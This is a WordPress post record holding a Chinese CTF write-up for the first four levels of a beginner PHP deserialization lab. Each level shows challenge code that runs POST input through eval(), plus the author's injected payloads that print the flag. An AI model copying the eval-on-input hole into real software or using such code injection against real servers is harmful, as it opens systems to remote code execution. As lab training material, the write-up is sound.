{"id":95,"date":"2026-05-26T12:52:21","date_gmt":"2026-05-26T04:52:21","guid":{"rendered":"https:\/\/reverier.cn\/?p=95"},"modified":"2026-05-26T12:53:18","modified_gmt":"2026-05-26T04:53:18","slug":"%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96wp","status":"publish","type":"post","link":"https:\/\/reverier.cn\/index.php\/2026\/05\/26\/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96wp\/","title":{"rendered":"\u53cd\u5e8f\u5217\u5316wp"},"content":{"rendered":"\n

\u4ece 0 \u5f00\u59cb\u7684PHP\u53cd\u5e8f\u5217\u5316\u5165\u95e8\u9776\u573a--\u63a2\u59ec<\/h1>\n\n\n\n

\u9776\u573a\u5730\u5740http:\/\/125.77.172.32:9090\/<\/a><\/p>\n\n\n\n

Level1--\u7c7b\u7684\u5b9e\u4f8b\u5316<\/h2>\n\n\n\n
class FLAG{
    public $flag_string = \"HelloCTF{\uff1f\uff1f\uff1f\uff1f}\";
\u200b
    function __construct(){
        echo $this->flag_string;
    }
}
\u200b
$code = $_POST['code'];
\u200b
eval($code);<\/pre>\n\n\n\n
\u8fd9\u4e00\u9898\u7684\u601d\u8def\u5f88\u7b80\u5355<\/p>\n\n\n\n
__construct()\u662f\u4e00\u4e2a\u6784\u9020\u51fd\u6570\uff0c\u5728\u5bf9\u8c61\u521b\u5efa\u65f6\u88ab\u8c03\u7528\uff0c\u7528\u4e8e\u521d\u59cb\u5316\u5bf9\u8c61<\/p>\n\n\n\n
\u6240\u4ee5\u5206\u6790\u4e00\u4e0b\u8fd9\u6bb5\u4ee3\u7801\uff0c\u60f3\u8981\u62ff\u5230flag\u53ea\u9700\u8981\u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u5bf9\u8c61\u5c31\u53ef\u4ee5\u4e86<\/p>\n\n\n\n
\u6240\u4ee5payload<\/p>\n\n\n\n
code=new FLAG();<\/pre>\n\n\n\n
Level2--\u5bf9\u8c61\u4e2d\u503c\u7684\u4f20\u9012<\/h2>\n\n\n\n
error_reporting(0);
\u200b
 $flag_string = \"HelloCTF{\uff1f\uff1f\uff1f\uff1f}\";
 
 class FLAG{
        public $free_flag = \"???\";
\u200b
        function get_free_flag(){
            echo $this->free_flag;
        }
    }
$target = new FLAG();
\u200b
$code = $_POST['code'];
\u200b
if(isset($code)){
       eval($code);
       $target->get_free_flag();
}
else{
    highlight_file('source');
}<\/pre>\n\n\n\n
\u8fd9\u4e00\u9898\u6709\u4e00\u4e2a\u66b4\u529b\u89e3\u5c31\u662f\u76f4\u63a5\u8f93\u51fafalg_string<\/p>\n\n\n\n
code=echo $flag_string;<\/pre>\n\n\n\n
\u4f46\u662f\u8fd9\u6837\u5e76\u6ca1\u6709\u53bb\u5229\u7528\u8fd9\u4e2a\u4ee3\u7801\u5229\u7528\u94fe<\/p>\n\n\n\n
\u9996\u5148code\u4f1a\u88abeval<\/p>\n\n\n\n
\u7136\u540etarget\u53d8\u91cfnew\u4e86\u4e00\u4e2aFLAG<\/p>\n\n\n\n
FLAG\u91cc\u9762\u6709\u4e00\u4e2a<\/p>\n\n\n\n
echo $this->free_flag;<\/pre>\n\n\n\n
\u8fd9\u91cc\u6709\u4e00\u4e2aecho\u53ef\u4ee5\u8f93\u51fa\u5185\u5bb9\uff0c\u6240\u4ee5\u6211\u4eec\u5c06free_flag\u7684\u503c\u5f3a\u884c\u8d4b\u503c\u4e3a$flag_string\uff0c\u5c31\u53ef\u4ee5\u8f93\u51fa\u771f\u6b63\u7684falg<\/p>\n\n\n\n
payload:<\/strong><\/p>\n\n\n\n
code=$target->free_flag=$flag_string;<\/pre>\n\n\n\n
\u6267\u884c\u94fe\u5982\u4e0b<\/p>\n\n\n\n
code=target
\u7136\u540etarget\u53bb\u8bbf\u95eefree_flag\u8fd9\u4e2a\u5c5e\u6027
\u7136\u540e\u518d\u5c06free_flag\u7684\u503c\u5f3a\u884c\u6539\u4e3a$flag_string
\u518d\u6267\u884c$target->get_free_flag();
\u8fd9\u4e2a\u51fd\u6570\u6709\u4e00\u4e2aecho $this->free_flag;
\u8fd9\u624d\u662f\u6700\u7ec8\u80fd\u8f93\u51fafalg\u7684\u5173\u952e
payload\u7684\u4f5c\u7528\u53ea\u662f\u628afree_flag\u7684\u503c\u7ed9\u4fee\u6539\u4e86\u4f46\u662f\u5e76\u6ca1\u6709\u8f93\u51fa\u8bed\u53e5<\/pre>\n\n\n\n
Level3--\u5bf9\u8c61\u4e2d\u503c\u7684\u6743\u9650<\/h2>\n\n\n\n
class FLAG{
    public $public_flag = \"HelloCTF{?\";
    protected $protected_flag = \"?\";
    private $private_flag = \"?}\";
\u200b
    function get_protected_flag(){
        return $this->protected_flag;
    }
\u200b
    function get_private_flag(){
        return $this->private_flag;
    }
}
\u200b
class SubFLAG extends FLAG{
    function show_protected_flag(){
        return $this->protected_flag;
    }
\u200b
    function show_private_flag(){
        return $this->private_flag;
    }
}
\u200b
$target = new FLAG();
$sub_target = new SubFLAG();
\u200b
\u200b
$code = $_POST['code'];
\u200b
if(isset($code)){
    eval($code);
} else {
    highlight_file(__FILE__);
    echo \"Trying to get FLAG...<br>\";
    echo \"Public Flag: \".$target->public_flag.\"<br>\";
    echo \"Protected Flag:\".$target->protected_flag .\"<br>\";
    echo \"Private Flag:\".$target->private_flag .\"<br>\";
}
\u200b
?><\/pre>\n\n\n\n
\u8fd9\u4e00\u9898\u6709\u4e00\u4e2a\u5751\uff0c\u6211\u4e00\u5f00\u59cb\u60f3\u8981\u53bb\u8c03\u7528\u8fd9\u4e2a\u5bf9\u8c61class SubFLAG<\/strong><\/p>\n\n\n\n
\u4f46\u662f\u8fd9\u91cc\u6709\u4e00\u4e2a\u95ee\u9898\u5c31\u662fSubFLAG\u867d\u7136\u7ee7\u627f\u4e86FLAG\u5c5e\u6027\uff0c\u4f46\u662f\u5b50\u7c7b SubFLAG \u6839\u672c\u7ee7\u627f\u4e0d\u5230\u7236\u7c7b\u7684 private \u5c5e\u6027\uff0c\u81ea\u7136\u4e5f\u5c31 return \u4e0d\u51fa\u6765\u3002\u8fd9\u4e5f\u662f protected \u548c private \u5728\u9762\u5411\u5bf9\u8c61\u7f16\u7a0b\u4e2d\u6700\u5927\u7684\u533a\u522b\u6240\u5728\u3002<\/p>\n\n\n\n
\u90a3\u95ee\u9898\u6765\u4e86\u4e3a\u4ec0\u4e48$target->protected_flag \u4e0d\u80fd\u76f4\u63a5\u83b7\u53d6\u5230\u5bf9\u5e94\u7684\u503c\u5462<\/p>\n\n\n\n
\u56e0\u4e3aprotected_flag\u662f\u53d7\u4fdd\u62a4\u7684\u5c5e\u6027\uff0c\u5916\u90e8\u4e0d\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528\uff0c\u53ea\u80fd\u5185\u90e8\u53bb\u8c03\u7528\uff0cFLAG \u7c7b\u91cc\u9762\u5199\u4e86\u4e00\u4e2a\u516c\u5f00\u7684\u65b9\u6cd5 get_protected_flag()\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528<\/p>\n\n\n\n
$target->public_flag (Public):
\u8fd9\u662f\u516c\u5f00\u5c5e\u6027\u3002\u5c31\u50cf\u6446\u5728\u9a6c\u8def\u8fb9\u7684\u516c\u5171\u81ea\u884c\u8f66\uff0c\u8c01\u90fd\u53ef\u4ee5\u76f4\u63a5\u62ff\u6765\u7528\u3002\u6240\u4ee5\u5728\u7c7b\u5916\u90e8\u53ef\u4ee5\u76f4\u63a5 -> \u8bbf\u95ee\u3002

$target->get_protected_flag() (Protected):
protected \u662f\u53d7\u4fdd\u62a4\u7684\u5c5e\u6027\u3002\u5b83\u53ea\u5141\u8bb8\u7c7b\u81ea\u5df1\u5185\u90e8\u4ee5\u53ca\u7ee7\u627f\u5b83\u7684\u5b50\u7c7b\uff08\u6bd4\u5982 SubFLAG\uff09\u8bbf\u95ee\u3002\u4f60\u5728\u5916\u90e8\u76f4\u63a5\u5199 $target->protected_flag \u4f1a\u62a5\u9519\uff0c\u4f46\u662f\u51fa\u9898\u4eba\u5728 FLAG \u7c7b\u91cc\u9762\u5199\u4e86\u4e00\u4e2a\u516c\u5f00\u7684\u65b9\u6cd5 get_protected_flag()\u3002\u6211\u4eec\u8c03\u7528\u8fd9\u4e2a\u516c\u5f00\u7684\u65b9\u6cd5\uff0c\u8ba9\u7c7b\u81ea\u5df1\u628a\u5185\u90e8\u7684\u5c5e\u6027\u9012\u51fa\u6765\u7ed9\u6211\u4eec\u3002

$target->get_private_flag() (Private):
private \u662f\u6700\u4e25\u683c\u7684\u79c1\u6709\u5c5e\u6027\u3002\u5b83\u53ea\u80fd\u5728\u5b9a\u4e49\u5b83\u7684\u7c7b\uff08FLAG\uff09\u5185\u90e8\u8bbf\u95ee\uff0c\u8fde\u7ee7\u627f\u5b83\u7684\u4eb2\u513f\u5b50\uff08\u5b50\u7c7b SubFLAG\uff09\u90fd\u770b\u4e0d\u5230\uff01\u540c\u6837\u5730\uff0c\u6211\u4eec\u901a\u8fc7\u8c03\u7528 FLAG \u7c7b\u516c\u5f00\u7684 get_private_flag() \u65b9\u6cd5\u987a\u5229\u62ff\u5230\u6700\u540e\u4e00\u6bb5\u3002<\/pre>\n\n\n\n
\u6240\u4ee5payload\uff1a<\/p>\n\n\n\n
code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();<\/pre>\n\n\n\n
Level4--\u5e8f\u5217\u5316\u521d\u4f53\u9a8c<\/h2>\n\n\n\n
class FLAG3{
    private $flag3_object_array = array(\"\uff1f\",\"\uff1f\");
}

class FLAG{
     private $flag1_string = \"\uff1f\";
     private $flag2_number = '?';
     private $flag3_object;

    function __construct() {
        $this->flag3_object = new FLAG3();
    }
}

$flag_is_here = new FLAG();


$code = $_POST['code'];

if(isset($code)){
    eval($code);
} else {
    highlight_file(__FILE__);
}<\/pre>\n\n\n\n
\u9605\u8bfb\u4ee3\u7801\u53d1\u73b0\u65e0\u8bba\u662fFLAG\u8fd8\u662fFLAG3\u90fd\u6ca1\u6709\u8f93\u51fa\u7684\u8bed\u53e5<\/p>\n\n\n\n
code=echo<\/p>\n\n\n\n
\u518d\u89c2\u5bdf\u53d1\u73b0\u91cc\u9762\u7684\u6240\u6709\u5bf9\u8c61\u90fd\u662fprivate\uff0c\u6240\u4ee5\u6211\u4eec\u662f\u4e0d\u53ef\u4ee5\u76f4\u63a5\u4ece\u5916\u90e8\u8fdb\u884c\u8bfb\u53d6\u7684<\/p>\n\n\n\n
\u90a3\u6211\u4eec\u7684\u601d\u8def\u5c31\u662f\u4ecephp\u4e2d\u627e\u4e00\u4e9b\u5728\u6267\u884c\u65f6\u6743\u9650\u6781\u5927\u5e76\u4e14\u53ef\u4ee5\u65e0\u89c6protect\u548cprivate\u6743\u9650\u7684\u51fd\u6570\uff0c\u8ba9\u4ed6\u4eec\u8fdb\u884c\u6253\u5370<\/p>\n\n\n\n
\u6240\u4ee5\u8fd9\u91cc\u7684payload\u5c31\u6709\u597d\u51e0\u4e2a<\/p>\n\n\n\n
code=var_dump($flag_is_here);
code=print_r($flag_is_here);
code=echo serialize($flag_is_here);<\/pre>\n","protected":false},"excerpt":{"rendered":"
\u4ece 0 \u5f00\u59cb\u7684PHP\u53cd\u5e8f\u5217\u5316\u5165\u95e8\u9776\u573a–\u63a2\u59ec \u9776\u573a\u5730\u5740http:\/\/125.77.172.32:9090\/ Level1–\u7c7b\u7684\u5b9e …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[10,7],"tags":[],"class_list":["post-95","post","type-post","status-publish","format-standard","hentry","category-web","category-7"],"_links":{"self":[{"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/posts\/95","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/comments?post=95"}],"version-history":[{"count":1,"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/posts\/95\/revisions"}],"predecessor-version":[{"id":97,"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/posts\/95\/revisions\/97"}],"wp:attachment":[{"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/media?parent=95"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/categories?post=95"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/tags?post=95"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}